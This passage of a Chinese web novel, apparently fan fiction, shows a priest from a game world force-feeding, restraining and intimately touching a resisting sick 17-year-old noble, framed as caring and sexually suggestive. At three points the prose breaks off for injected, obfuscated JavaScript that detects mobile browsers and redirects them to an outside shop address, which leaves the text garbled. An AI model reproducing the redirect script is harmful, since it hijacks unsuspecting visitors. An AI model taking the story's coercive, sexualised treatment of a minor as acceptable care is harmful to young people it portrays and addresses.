用餐的目的自然不是单纯的进食,他们很随意聊到了卜筮的话题,又邀请这位天皇宠臣为他们的婚事占卜吉凶。 在得到【大凶】的结果后,家督主上与橘氏的乳母皆不安的变了脸色。 羽原大人却淡笑着让他们不必着急,只要避开这次血光之灾,不论月彦殿下的绝症或是橘氏之女的婚事,都会迎来好消息。 听到这句话,两方又再度笑开,连声向羽原大人道谢。 羽原大人则谦逊回了几句后,问家督主上是否允许他带月彦殿下出门,“我看他终日闷在殿里也不好,还是需要多出门走走,参加宴会,性格或许也会变得开朗。请不必担心身体问题,我必定会照看好他。” 家督主上自然是满口同意,并表示无论羽原大人想对月彦殿下做什么,他都全盘支持。 甚至还发出“可惜你或他无一人是女子”的喟叹,听起来很想让月彦殿下与羽原大人结亲。 对此,羽原大人仅是用折扇轻轻敲了敲掌心,笑而不答。 最终,一场宾主尽欢的晚餐结束,羽原大人被家督主上热情邀请留宿一夜,并表示之后会专门在西殿后方为他建造一处别院。 自殿内出来后,羽原大人却没有直接前往住处,而是询问他,月彦殿下可曾吃过晚饭。 还以为自己早已被羽原大人忘记的云助怔了下,才反应过来。 “啊,殿下还没有用过晚餐,他一向吃得很迟,大多数时候甚至不愿动筷子……我现在正要给他送去。” “不愿吃饭?” 羽原大人用扇子敲了敲掌心,略作思忖后,竟然主动对他说道。 “不吃饭怎么能养好身体?我随你过去,你等会只负责将它放在床边,而后直接离开就行,剩下的交给我。” 云助听得一愣一愣。 剩下的交给羽原大人……他有办法让那位月彦殿下乖乖用餐吗? 了不起,神官大人竟然还能做到这种事情。 ——当时他是这么想的,还真心实意的佩服过神官的本事。 但真的到了此时此刻,云助已经不只是佩服了。 他站在廊下守着,听内里不断传来挣扎、咒骂还有碰落茶碗的动静,整个人都快要汗流浃背。 羽原大人想出的这个、这个办法,竟然就是强硬的将饭食塞进肚子里吗…… 真的一点也不担心来自对方的凶狠报复吗?! 听着里面长时间传来一边断断续续的哽噎与呛咳,一边咒骂迟早杀死你这个混账神官的凶狠威胁,云助连点亮油灯的动作都尽量放轻,蹑手蹑脚,生怕里面的殿下察觉到他也在这里,拿他撒气。 亮起的油灯火光明亮,斜斜照入了那间寝殿内,也将二人融在一处的身影拉得更长,让那挣扎与喂食也似湖面反复交叠荡开的涟漪。 直到平静的最后,云助才听见羽原大人低笑出声,对被压制在他身下的月彦殿下开口。 “已经全部都吃完了。你这不是做得很好吗,月彦?” 那道映在竹簾上的影子也跟着这话动了下,似乎伴随着其他稍许亲昵的动作——导致另一道云助更熟悉声音沙哑着,带着明显的咳音,近乎是气急败坏的响起。 “别碰我,混账神官,你以为我当真不敢杀了你……!” “事实就是,你当然不敢杀我,月彦。” 羽原大人回话的嗓音更低了,连带那道影子也随即压得更低,更暧昧,比起狼狈躺在床褥的下方倒影来说,不知从容多少倍。 连带他的话也同样如此,哪怕那句话的音量并不高,语速也不快,透着娓娓道来的温吞与低笑,也不会被任何人轻慢对待。 “你如果真的敢亲自下令杀我,早就这样做了,不会只放在口头威胁。” 羽原大人微笑着,声音放得更轻。 “承认吧,你比我更怕死,月彦。你担心亲自下令处死我后会被天皇迁怒,同样被处死。你想尽一切办法也要活下来,哪怕代价是被我这般羞辱,强硬地灌下食物。” 月彦殿下没有发出声音回这句话,但或许他的脸上已经满是怒容,比上一次听到有人在讨论他还能活多久更生气。 云助屏住呼吸,动也不敢动。 “这也要怪你,月彦。你如果乖乖吃饭,怎么会将这里弄得一片狼藉?” 羽原大人则继续慢吞吞说道。 “啊-啊,真糟糕,连你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041417|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里衣上也撒满了汤汁。我知道你不喜欢让仆从替你擦身体,这次就当作是给你的奖励,我会再为你清理一次。” “……谁告诉你我不喜欢让下人给我擦身体?你不要自作多情,我只是讨厌有个不知羞耻的家伙私自踏入我的寝居,又接连做出野蛮的乡下人行径……听懂没有?你滚出去,我会让云助来收拾这里!” 听完后半句话,月彦殿下再次忍无可忍的恼怒出声,云助从来没听过他说这么长的话,显然是气坏了,但不解释又没办法。 可站在廊下偷听的云助并不开心,甚至内心开始打鼓,担心羽原大人一走,他就会被迁怒,受到责罚。 至于羽原大人强硬的对待月彦殿下? 那都是为了月彦殿下好,如果月彦殿下乖乖吃饭,及时擦干身体换衣服,怎么会需要羽原大人这么做呢? 原本就对羽原雅之充满好感的云助,在听到羽原雅之的回答后,滤镜瞬间瞬间叠出去八百米,感动得险些当场喷泪。 “不要又任性的说出这些话,你需要学会控制自己的脾气,别老想通过责难仆从来发泄情绪。好了,你在这里等一会,我去喊人帮忙打热水,顺便拿身新衣服与被褥来。” “…………都说了不需要你来,混账,听不懂人话吗?你是脑子里只剩下暴力的大猩猩还是野猪?别在那里自说自话,回来!不对,出去后就别回来!” 伴随着月彦殿下气到都放弃使用敬语的怒斥,羽原大人略弯腰通过那道半卷起的竹簾,朝他看来。 云助注意到羽原大人的狩衣同样变得凌乱,上面沾了稍许溅出的湿痕。 “羽原大人,您……” 他赶紧迎上去,态度比对着产屋敷月彦要殷切热情得多。 “我不碍事,只是病人有些闹腾,辛苦你之前照看他这么长时间。” 给暴怒挣扎到失去所有力气后终于被迫开始配合的产屋敷月彦喂完了饭,羽原雅之将话说得风轻云淡,一副【家里这只不听话的猫真让人头疼】的表情。 并淡然无视了身后依然在传来连喘带咳的咒骂。 “劳烦像下午那样,给我端盆热水,再拿两身干净衣服。嗯,被褥也需要换一套,到时候放在门口就好,你不用进来。” “啊,好、好的,遵命!” 云助匆匆离开。 羽原雅之望着他的背影站了一会儿,转身重新返回内室。 帷幔后是终于能够起身的产屋敷月彦半坐半跪着,双手撑住地面稳住重心,朝他恶狠狠瞪过来的身影。 可惜与他眼里恨不得飞刀子的气势不符,他坐得狼狈,那件穿在身上的单衣更是腰带松垮,衣衫与墨发凌乱,唇瓣殷红,下颚、锁骨以及小半片袒露出的胸口,皆在灯下映着湿漉漉的晶莹光泽。 “你这样的模样,还想让其他人看见?” 羽原雅之微微眯了眯眼,“你似乎对自己的隐私太不注意保护了,月彦,这可不是个好习惯。” “………” 产屋敷月彦冷冰冰盯着他,缓慢抬起手,却只能恨恨用衣袖擦干净嘴边残留的些许汤汁,再跟着将脸颊上那些方才狼狈流出的泪痕也用力擦拭一遍。 哪怕这混账神官刚才那段话简直是在胡说八道,他也已经不想开口反驳。 反正不管说什么都没有用,完全搞不懂这家伙的脑子究竟是从哪里捡来凑合用的,根本不听他的任何拒绝! 可恶,要杀了他,绝对要杀死他,要用最残忍的方式…… 在双方都没有再开口的寂静中,热水、新衣服与被褥很快就送了过来,妥帖放在门口的廊下。 羽原雅之让产屋敷月彦先暂时坐去一旁,收拾翻倒的碗碟,铺上干净的被褥。 而后,他拿起毛巾,浸湿,边示意对方先做擦身的准备。 “将那件衣服脱了。” 坐在榻榻米上的产屋敷月彦沉着脸,一言不发的伸手抓住自己的衣襟,正要往下褪时,忽然想起一件事。 等等,不行,他里面没穿裈,会被发现……! 10. 第 10 章 羽原雅之拧干毛巾,回头一看产屋敷月彦依然坐在那里动也不动,根本没将他的话当回事。 “………” 玩过那么多款养成游戏,这还是头一个倔到半点不听玩家指令的,每次都要强迫才肯配合。 懂不懂就算是初期看起来不那么平易近人甚至是嫌弃玩家的傲娇角色,最极端的配比也在七分傲+三分娇,而不是十分的赛级纯傲。 面对眼前这个未来会成为千年鬼王级别反派的贵族大少爷,羽原雅之面上没什么情绪波动。 但他的心底已然滑过去一条“既然玩家我好声好气对你,你不愿意听话,那接下无论发生什么事,就都是你自找的了”的类第四天灾想法。 众所周知,是他在玩游戏,不是游戏玩他。 他不需要拿出对待顾客的态度来对待这个未来残忍、此刻同样冷血无情的最终BOSS预备役。 羽原雅之打开游戏界面,扫过产屋敷月彦的个人资料。 【姓名:产屋敷月彦】 【身份:人类】 【年龄:17】 【身高:168cm】 【体重:42kg】 【兴趣:读书、找到治愈自己疾病的方法】 【厌恶:死亡、羽原雅之、看不起自己的人】 【性格:残忍、霸道、冷漠、易怒、执着、隐忍】 【依恋度:2】 【描述:产屋敷月彦觉得你很恶心,想要杀了你。】 羽原雅之:……慢着,这个性格后面是不是又增加了一个负面词语? 他怎么好像越养越开倒车了啊。 依恋度那栏显示的数值2倒是没有跌,也就是说产屋敷月彦对他的依恋度,与感情上对标的那种好感度,并不是同一种东西。 毕竟,经过他刚才强硬喂饭的操作,以及听到对方反反复复强调要杀死他的咒骂,羽原雅之还不至于自恋到认为对方全都是在口是心非。 包括这个依恋度的描述也是。 觉得他很恶心,想要杀了他,但竟然还有2点的依恋度。 这是经过那个《娶亲》副本后涨出来的数值。 是固定奖励吗? 还是说,他的某种行为,其实真的对产屋敷月彦施加了某种不可逆的影响? 羽原雅之盯着面前这个保持要脱不脱姿势的产屋敷月彦,若有所思。 产屋敷月彦却好像以为羽原雅之又打算强硬着来,亲自动手扒光他的衣服——只有力气特别大的混账东西! 于是,他忍了忍,还是压抑着心头恼怒,屈尊纡贵的跟羽原雅之解释,“我没有穿裈。” 意思是你好歹知道该避个嫌吧! 没想到后者抬了下眉梢,回应的语气平淡,“有什么关系。” 产屋敷月彦:“…………” 产屋敷月彦的耐性比羽原雅之还低,立刻忍无可忍的开始发作:“你都不懂什么叫礼仪吗?你认为你随便看见另外一人——还是贵族——的身体隐私,是很合理的事情吗?我的意思是我自己来擦身体,不需要你!毛巾给我!” 羽原雅之听着他喵喵咧咧的在骂,不仅没有生气,还偏了点脑袋看向他,唇角露出些许玩味笑意。 “哼……吃饱饭了果然有力气啊,骂我都不不需要喘气了。” 没等产屋敷月彦哽住后回骂“这是重点吗!”,羽原雅之便又继续开口,“不过,我可不是‘随便的另外一人’,你要记住这点,月彦。” 那双望向产屋敷月彦的墨黑眼眸微眯,好似神祇居高临下的淡漠裁决。 “【我是你未来的看护者,直到你死亡为止】。” “———” 产屋敷月彦愕然回视望过来的羽原雅之。 在注视着他的那双眼眸深处,产屋敷月彦的思绪却恍惚片刻,耳畔仿佛又传来轻而鲜明的热息——有人俯下身来,对着濒死后拼命喘息的他轻声低语,咬字吐音间拖出不容置疑的低笑。 ——[我是你未来的丈夫,直到你死亡为止]。 ——[你会为了我努力做一位合格的妻子,对吧,月彦?] ……开什么玩笑! 那个该死的梦魇,竟然还没有从他的记忆里散去吗! 产屋敷月彦沉着脸,身体却不由自主回忆起那太过清晰的反复濒死体验,好似要将他整个人再度拉回到那个冷酷的、无人回应他的昏暗寝殿里。 他害怕死亡,梦魇里的这人却敢要他不停地体会窒息的痛苦。 许是被迫回忆的那段体验太难堪,连带眼下残留的痕迹也同样狼狈。 导致产屋敷月彦的心脏也缓慢瑟缩着纠紧,目光下意识避开这张在梦里带给他残忍体验的、可恶至极的脸。 乃至再开口时,竟然忘记驳斥羽原雅之刚才说出的话。 “我会自己擦身体,已经是在配合你了。反正你的目的就是这个,我自已来便是。” 经过连续两次的教训,产屋敷月彦的语气与态度也不再像白天那般强硬,非要和羽原雅之对着干不可。 羽原雅之内心恍悟。 难怪这家伙的性格后面多了个【隐忍】…… 还真是能屈能伸。 如果是放在他生活的现实里,羽原雅之当然也不乐意总是伺候人,又是擦身体又是喂饭的照顾一个除了去脸以外找不出优点的病号。 哦,可能还有一点:这个病号有脾气当场就发,绝对不委屈自己。 但眼下,可是他羽原雅之在玩游戏。 还是一个需要改造鬼王BOSS的……养成?攻略?,总之就是一个反馈感特别强烈的角色互动游戏。 毕竟他整个人都直接进到游戏世界里了,世面上哪里找得出第二款比它还真实的游戏? 也正因如此,羽原雅之绝不会放弃所有可互动的选项,每一个都肯定尝试看看状态栏是否会什么变化。 笑话,他才是玩家,想做什么都行,哪里真的要听对方的意见? 哈,反正这游戏又没说需要刷产屋敷月彦的好感度! 【触碰身体(当前仅夜间可用)】 羽原雅之抬眼望向竹簾外的枯山水庭院,确实已落下月光银辉。 到夜晚了。 他的目光重新落回产屋敷月彦的身上。 “你没有听见我刚才的话吗?这是给你的奖励,不需要你亲自动手。” 羽原雅之露出微笑,喊的称呼也亲昵,看向产屋敷月彦的目光却是冰冷的,“别让我再说第三次,月彦。我讨厌将同样的话反复念三次以上。” “…………” 这家伙,就像喜欢用扇柄敲掌心一样,好像也很喜欢【三】这个数字……不管是【三秒钟】,还是【复述三次】。 产屋敷月彦缓慢咬紧后槽牙,不想动。 当他再抬眼看向人,正要将“不需要你这个奖励”说出口时,却见到对方已经自坐着的姿态起身,开始朝他这边过来、甚至伸出一只手了! 产屋敷月彦被惊出了身体的抗拒本能——却不是用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041418|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右手继续抓紧松垮的衣襟,而是抬起来,捂住脖颈。 他下意识害怕自己再被掐住气管,濒临死亡。 这番动作太快,以至于当产屋敷月彦发现自己的反应不太对时…… 已经迟了。 “嗯?” 羽原雅之那只伸过来的右手,此刻同样停顿在产屋敷月彦的衣襟前。 他的眼眸微眯,察觉到眼前这位贵族大少爷的反应有问题。 “你为什么会一脸紧张的捂住脖颈?今日上午给你擦身体时,你也只是拽着衣襟不让我脱。” 产屋敷月彦不敢动,也不敢有所回应:“…………” 他只能在心里大骂混账神官,这时候怎么就忽然长脑子了! 羽原雅之又踩前一步,距离他更近——后者的表情也更防备,又透出几分强装镇定下的瑟缩。 “而那时给你擦完身体、换上干净的单衣时,我记得很清楚,你是穿着裈的。” 当羽原雅之站起身时,本就颀长的身形被那套宽大狩衣衬着,更似一座压过来的巍峨高山,令只能虚弱坐在榻榻米上的产屋敷月彦被彻底笼罩在他的阴影下。 甚至,半个字也回答不上来。 在这种时候,羽原雅之倒是变得很有耐心了。 他没有动作,仅是将眼眸往下转,落在仍旧捂住脖颈没有动,表情愈发难看的产屋敷月彦身上,好整以暇等待着他的回应。 时间在安静中一点一滴流逝。 产屋敷月彦也死撑着不回应,好像这样就能让高山主动挪开,不再盯着他。 毕竟,就算他不说又怎样? 那不过是他做的一个荒诞噩梦而已。 只是他被那个梦魇里的经历吓到,才会做出如此耻辱的防备反应而已。 对方没有任何证据,又不可能钻进他的脑子里,把那个梦的内容层层剥开,看得一清二楚。 实在不行,等会就算让他擦了身体就是,把这段糟糕的反应躲开…… “我知道了,月彦。” 就在产屋敷月彦胡思乱想时,他没发现羽原雅之已经在他面前半蹲下身来,右手没有去扯开他的衣襟,而是改为抚上他的后脑勺,五指轻柔地穿进那头略带潮气的墨黑长发里,缓慢收紧。 羽原雅之就像在亲昵与爱人做着互动,上半身也前倾更多,直到他开口说出的话都变成窃窃私语。 全然不顾掌下这具身体愈发僵硬的反应。 “你也做了那个梦,是不是?” 带着笑意的温热气音拂在逐渐瞪大眼睛的产屋敷月彦耳畔,就像他之前总是产生幻听的那般。 这次是真的了。 “你答应我,会为了我努力成为一位合格的妻子。” 羽原雅之低低笑着,左手的掌心松开毛巾,往对方更下一点的位置压去,压紧,直至指尖触碰到比那块毛巾更湿润的点滴痕迹。 是惊吓出的汗水,还是其他,其实并不重要。 “不,不可能,你怎么会知道……” “很好哦,月彦,我很高兴,你竟然因为这句话而激动成了这样,还试图在我面前拙劣的掩饰。” 产屋敷月彦此刻的反应,已经再愉快不过的取悦了他。 “这次,我不会责怪你掩饰的那部分。好孩子应当得到属于他的奖励。” 羽原雅之弯起唇角。 被压低吐出的气音,连带那展开来足以遮蔽对方身形的狩衣袖袍,将他一并笼罩在强势的、不可撼动的,私人领域里。 11.第 11 章 鉴于羽原雅之即将在产屋敷家暂住一段时间,晚饭后,他便让松石回他的居所一趟,将换洗衣服拿几身过来。 这些贵族洗头沐浴还要看神官占卜的结果,幸运的时候天天都有的洗,不幸的时候一个月都洗不上一次。 他可不管占不占卜的,每天必须洗澡。 而且,平安时代的洗澡方式不仅与现代社会大不相同,甚至比不上后面几个朝代。 羽原雅之大致了解到,眼下的贵族们与其是“洗澡”,不如说是“蒸桑拿”。 他们只会在充满热气的浴室里待一段时间,期间用湿毛巾整体将身体擦拭一遍——这就算是已经洗完澡了。 更确切的说,他们并没有真正关于【洗澡】这个概念,而更接近于【净化】。 羽原雅之刚进游戏还不懂这个,对着松石说他要洗澡。 结果两个人大眼瞪小眼半天,羽原雅之才发现对方根本不懂【洗澡】这个词的概念。 羽原雅之:……这游戏倒也不必在这方面也模拟得如此真实。 但没办法,既然他整个人都在游戏里了,要他在正常度过一天后不用水正儿八经洗澡,他浑身都不舒服。 松石也赞叹着“不愧是神官大人,小人第一次了解到,原来这才是真正对于身体的净化仪式”之类的话,竟然将羽原雅之坚持每日洗澡的行为认定成神道教本身的宗教要求。 羽原雅之哑然片刻,也不再试图纠正他。 等松石独自驱使牛车,带着两大箱主上的衣服从羽原宅邸返回时,正瞧见云助站在渡殿的游廊上,似乎还有点徘徊踌躇的模样。 作为主上如今重点看顾的那位准家督少爷的贴身随从,他也算是跟对方打了两次交道,算是半生不熟。 但眼下已是熄灯许久的夜晚,大多数家仆都去睡了,或是守在固定的岗位上,他一时找不到人帮忙抬木箱,刚刚还在发愁呢。 一见到没待在廊下守夜的云助,松石简直喜出望外,连忙提高声音喊住他。 “云助,云助你怎么没有去照顾你的主上?正好我这里刚拿来羽原殿下的换洗衣服,能请你帮忙一起抬进去吗?” 正在走神的云助听见松石在喊,仓促应了声便赶紧过来给他搭把手。 只不过,他的眉眼间仍满是纠结,简直像一团打成死结的毛线球。 “你这表情看起来真古怪,可是你的那位发生什么事情了?”松石好奇道。 下人间聊天也随便些,打听起事情也不那么避讳;再加上云助与他同样是刚成年的年龄,相处起来要更放松,开口就直接问了。 “……这个,与其说是【我的那位】发生了什么事,” 沉默半晌,云助终于幽幽出声,“不如说是,【咱们的那两位】发生了什么事……” 松石:“…………” 松石:“嗯???!!” 这一声质疑音调太高,云助连忙示意他收声。 “嘘、嘘,你小声点,我们现在去的方向要经过月彦殿下的寝殿,动静太大会被他们听见。” “…………” 松石那口气憋在胸腔好半晌,才缓慢吐出,“那你说的,该不会是我想的那个吧?” 有了云助的提醒,他的声音也放轻许多。 云助满脸纠结的摇头,“我也不清楚,你知道的,很多大人都会养一些……嗯……在夜晚服侍他们。”——他含糊带过那个名词,“因为月彦殿下的身体始终不好,他从来没有做过类似的举动,也不会要求我夜晚与他同寝。” 松石也了然应道,“说到这点,我经常也会感到奇怪。我的主上生得如此俊美,性格也好,品阶也高,理应早已情人如云、幼童绕膝才是。但他竟然都二十六岁了,依然没有娶妻的意向,身边也不要人服侍……真的,在今日之前,他从未命我晚上驾车送他出门过。” 云助呆呆看了松石一会儿,恍然大悟,“该不会,你家主上其实对我家的月彦殿下……” 秒懂他意思的松石轻吸口气,紧张出声,“真的?难道……” 云助赶紧示意他别说话,边用眼神传递【那边就是月彦殿下住所】的提醒。 他们走在游廊上的脚步不自觉越放越轻。 就在云助示意的那个方向,忽然传来了一声隐约的闷响,带着点含混不清的说话声。 紧接着又是一声“咚”,就像有人忽然倒在榻榻米上会发出的动静。 夜晚的光线昏暗,哪怕游廊两侧有几许油灯照明,也没办法让他们透过垂落在地的竹簾间隙,窥清被遮挡的另一侧究竟发生了什么。 抬着堆叠木箱的云助与松石面面相觑。 松石用了个疑惑的表情提问:要进去看看你家主上发生了什么事吗?是不是病得太厉害,起身时摔了? 云助:………… 松石不知道发生了什么事情,云助知道啊。 云助不仅知道月彦殿下被羽原大人强行喂饭,导致汤汁在挣扎间溅得到处都是,还知道月彦殿下打算亲自为月彦殿下擦拭身体。 ——第二次。 而这次,他花了很长、很长的时间也没有出来,那边一直静悄悄的,反而总让人感觉不太对劲。 云助也不敢靠得太近,只好在旁边的游廊上徘徊,等候主上的吩咐。 ……但刚才突然发出的动静,实在微妙,令云助沉默了片刻。 于是,面对目露询问的这位同僚,他用龇牙咧嘴的反应回答对方:别去,咱们假装什么都不知道,反正就算月彦殿下出了什么事,羽原大人就在里面照顾他…… “云助?你踢到小脚趾了吗,为什么表情这么痛苦?” 羽原大人的声音忽然响起,惊得云助一激灵,“羽原大人,您这么快就完事……不对,那个,殿下他……” 脱口而出的话就说漏嘴到把自己心声吐了出去,云助整个人都快要汗流浃背。 他与松石一人抬着木箱的一边,导致他是背对着羽原大人的,便也看不见对方的脸色。 应该,应该不会像他家主上那样,一言不合就动怒吧…… 云助小心翼翼转过脑袋来,打眼便看见羽原大人正在端着之前的水盆,两只手的小臂都露在捋起的袖袍外,从手背往上延伸,没入到布料的遮挡处,都遍布明显的数道抓痕。 有的长有的短,大多是表皮破损,红了明显的一长条凸起。 其中几道大概是对方下了狠力气,泛着浅淡但醒目的殷红血丝。 羽原大人那身纯白狩衣原本清爽整洁,此刻同样乱得厉害,褶皱与湿痕到处都是,看起来简直惨不忍睹。 不仅云助惊呆了,松石也忍不住错愕出声,“主上,您这是……” “这些吗?是月彦一开始不愿配合,挠了我几下。” 羽原大人垂眼看过自己眼下这番惨状,朝他们微微一笑,神情间依旧淡定从容,完全不放在心上。 他还特意交代云助,“月彦现在已经睡下了,暂时不会醒。你不必进去打扰他。” 云助惊呆到睁大的眼睛就没复位过,闻言更是愣愣点头。 “欸…噢……好的……” 他满脑子都是乱七八糟的猜测在飘,而且越猜越离谱。 但有个事情他知道得很清楚。 月彦殿下长期卧床,身上又患着重病,反而并不会像普通人那般睡得准时。 他的睡觉与醒来都十分随机。 有时很晚都不会睡,有时能睡上整个白天,有时每睡一两个时辰,便要喊他换衣服、去厕所或拿东西之类,闹得人不得安宁。 没人喜欢服侍一个病人,尤其这个病人是性格乖张暴戾的月彦殿下。 他们伺候得还算尽心,但也到此为止。 不是因为他们希望月彦殿下健康,才认真的照顾他。 而是身为家仆的他们不得不照顾月彦殿下,才勉强按照规矩一板一眼的做。 就像之前被处死的那个猜测他还能活多少年的家仆一样,他们都默认这位准家督再过不了几年就会死去,哪怕再如何尽心服侍他,未来也得不到任何回报。 毕竟,就算他是准家督又如何?能活着当上产屋敷氏的家督吗? 不能。 从某种意义上来说,他们就像在玩一个击鼓传花的游戏,等着鼓声什么时候停止,他们就可以松口气,快快乐乐地将这朵花下葬。 没人在意过月彦殿下的想法。 就像他们从来也不会抬头,做出他命令以外的事情。 因为没有必要。 照顾月彦殿下,就像照顾一个尚且有口气的死人罢了。 有谁会在意死人脑海里在想什么吗? 有谁会尽心尽力,想要将一个死人从地狱里拉回来吗? 但眼前这个光风霁月的神官大人,好像真的打算这样做。 他会给月彦殿下喂饭,会为他擦拭身体,还打算带他去宴会散心。 纵使此刻,他的双手已被月彦殿下抓得血迹斑斑,也见不到半分动怒的意思。 他对待月彦殿下,是动了真心的。 所以,他可以包容月彦殿下的坏脾气,可以原谅月彦殿下的粗暴对待,也可以继续这样对他微笑着,说“劳烦你守夜了,请帮忙再给月彦准备一身礼服,不必多么正式,我明日要带他出门。” 多么心善,多么温柔,感情又多么真挚的神官大人啊……! 云助几乎要感动得热泪盈眶。 月彦殿下能被这样好的羽原大人看上,真是月彦殿下不知道从哪里求来的福气! “好、好的,我会尽快让人准备,” 云助刚提起声音,又想起内间的人已经睡下,连忙再次压低,“请您放心。” “嗯……辛苦你。” 羽原雅之看着眼前这位模样年轻的仆从,不太明白他为什么用那种快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朝外看去,什么也看不见,漆黑一片,到处都在天旋地转。 而这个箱子,还在越收越小,连带他的呼吸也变得急促,仿佛要被什么柔软的东西挤压成一团。 没有办法,为了活下来,他只能出声求救。 他缓慢张开口,喊出了几个音节——无法分辨内容的,含混的,带着点泣音的音节。 喊了一次,两次,三次。 依然听不清自己在喊什么。 眼看着他要窒息而亡时,上方忽然传来清晰的、稳定的声音,带着一点不动声色的笑意。 “你在喊我吗,月彦?你的反应真可爱。” 惊吓间,产屋敷月彦猛然后退,才发现自己待着的所谓“箱子”,其实只是眼前这个巨大怪物双手合拢的掌心。 他被他抓在掌心把玩,举止轻慢随性,力道也跟着或轻或重。 搓过他的面颊时很疼,捏住他胳膊时也很疼,但对方压根不在意,接着又一指头便将他推倒,继续往下揉摸,无视他发出的任何声音,做出的虚弱挣扎。 而此刻,他也终于听清了自己喊出口的那个名字—— “——羽原雅之!” 产屋敷月彦猛然睁眼,大口喘气。 他的心脏仍然跳得很快,像坠下悬崖的人忽然踩实了地面,惶恐间带着强烈的心有余悸。 不出意外,额头与身上又全是虚汗,不仅浸透了里衣,还令他感到清晰的口干舌焦。 产屋敷月彦闭了闭眼,望着上方已被天光照亮的帷幔顶端,长长出了口气。 可恶…… 只是普通的睡个觉,也要被那个混账神官缠上吗! 还有昨晚,竟然敢这么对他,实在恶心,作呕,令人反胃至极,好想杀死他,好想杀死他,好想杀死他好想杀死他好想杀死他好想杀死他…… “月彦。” 身旁再度传来熟悉的、梦魇般的亲昵呼唤,带着某种特有的微妙笑意,却令产屋敷月彦的呼吸停滞,身体也跟着僵住。 朝右侧缓慢转过脑袋,出现在视野里的正是那张无论看多少次都觉得可恶至极的脸,好整以暇望着他。 过了一夜,对方重新换了身整洁的狩衣装束,依然是绣有同色花纹的纯白外袍,配有檀色的里衣,搭配暗色的宽筒束脚狩袴,以及将头发尽数束起的乌帽子。 在清晨的天光里,他就这样随意盘膝坐在他的床边,单手执扇,另一只手则托着腮,就这么定定注视他,不知已看了多久。 而此刻,在产屋敷月彦难以置信的瞪视里,这个混账神官确实弯起嘴角,微笑着继续对他开口。 “没想到你在梦里也这样想着我,不停的喊我住手吗?” “呵呵……月彦,你的反应真可爱。” 12.第 12 章 产屋敷月彦的脸色顿时变得很臭。 任谁在做了一场噩梦刚醒之后,又见到噩梦的源头就坐在自己床边老神在在盯着自己,都不可能感觉有多高兴的。 没有当场骂出声,基本是身体内还残留的惊魂未定感在发挥作用。 经过昨天那太过情绪跌宕的一天——还全部都是眼前这家伙带来的——产屋敷月彦已经没那个心劲对他多说什么话了,只是又沉默将脑袋偏回去。 用行动表现出自己对他的巨大不满。 至于口头…… 呵,说了又有什么用,他说了这家伙就会乖乖听从吗? 根本就是个我行我素的混账神官! 产屋敷月彦没想到自己刚从噩梦里挣扎着醒过来,睁眼又是另一场更真实的噩梦。 他刚想侧过身去,背对着那家伙继续躺着,却被对方伸手压住右侧肩膀,迫使翻身到一半的动作又被另一股更强大的力量扭转,重新平躺回原处。 产屋敷月彦:“…………” 产屋敷月彦咬牙切齿:“我都不计较你大清早就跑到我床边的冒犯之举,你还想做什么?吃饭吗?眼下还没到时辰吧!” 不想见到这家伙的脸还不行,他说话都有点不情不愿挤出来的意思,听着阴沉沉的,还透出刚睡醒时特有的些许含糊与沙哑。 羽原雅之眼眸微动,唇边笑意不减,“不反驳我刚才的话吗?” “……我反驳有什么用,反正肯定是你这家伙搞的鬼。”产屋敷月彦冷哼。 一听到羽原雅之说出与梦里的他分毫不差的台词,产屋敷月彦立即认定昨晚那个噩梦肯定也是对方用不知道什么手段弄出来的,目的就是要看他一惊一乍的惶恐模样。 否则,怎么解释这个混账神官大清早就坐在他床边,等着看他的笑话? 产屋敷月彦越想越气得火冒三丈,感觉自己从见到这家伙的第一眼起,再没有哪怕一刻钟是顺心的! 但面对无法杀死也奈何不得的羽原雅之,聪慧且学习能力极强的产屋敷月彦只能忍气吞声,不情不愿的主动低头。 他久病在床,早已听过不知道多少风言碎语。 能够看穿对方负面心理的能力,也让产屋敷月彦从很小的时候就明白了一件事。 ——自己是个不受待见的东西。 连人都算不上。 普通人可以在白日起床,可以在阳光下行走,可以想赏花时便出门赏花,想踢蹴鞠就在院子里来回奔跑,想写字也可以一口气写上大半天而不感觉疲惫。 他不行。 他什么都做不到。 他既不能长时间起身活动,也没办法将路走得稳当,连提笔的时间长一些,都要咳个不停,手腕发酸,颤抖。 甚至,所有男性都会在元服之后,将留长的头发梳成头顶的发髻,再戴上将它全部藏进去的乌帽子——让自己变得标准,端正,一丝不苟。 无论何时何地,哪怕是夜间睡觉休息,也不可将自己的发髻暴露在外面。 这才是符合教养的一位成年男性贵族理应出现的打扮。 而他呢?他已过了元服之礼,模样却从来都是如此的狼狈难堪。 终日躺在床上的他根本没有穿着狩衣的必要,连带那顶搭配佩戴的乌帽子也成了荒唐的笑话。 哪怕是在庭院里负责修剪枯枝的园丁,在马厩里喂养马匹的马夫,都会戴着端正的帽子,束起他们的发髻。 他们的每一次行礼,每一次转动的眼珠,都在笑话他。 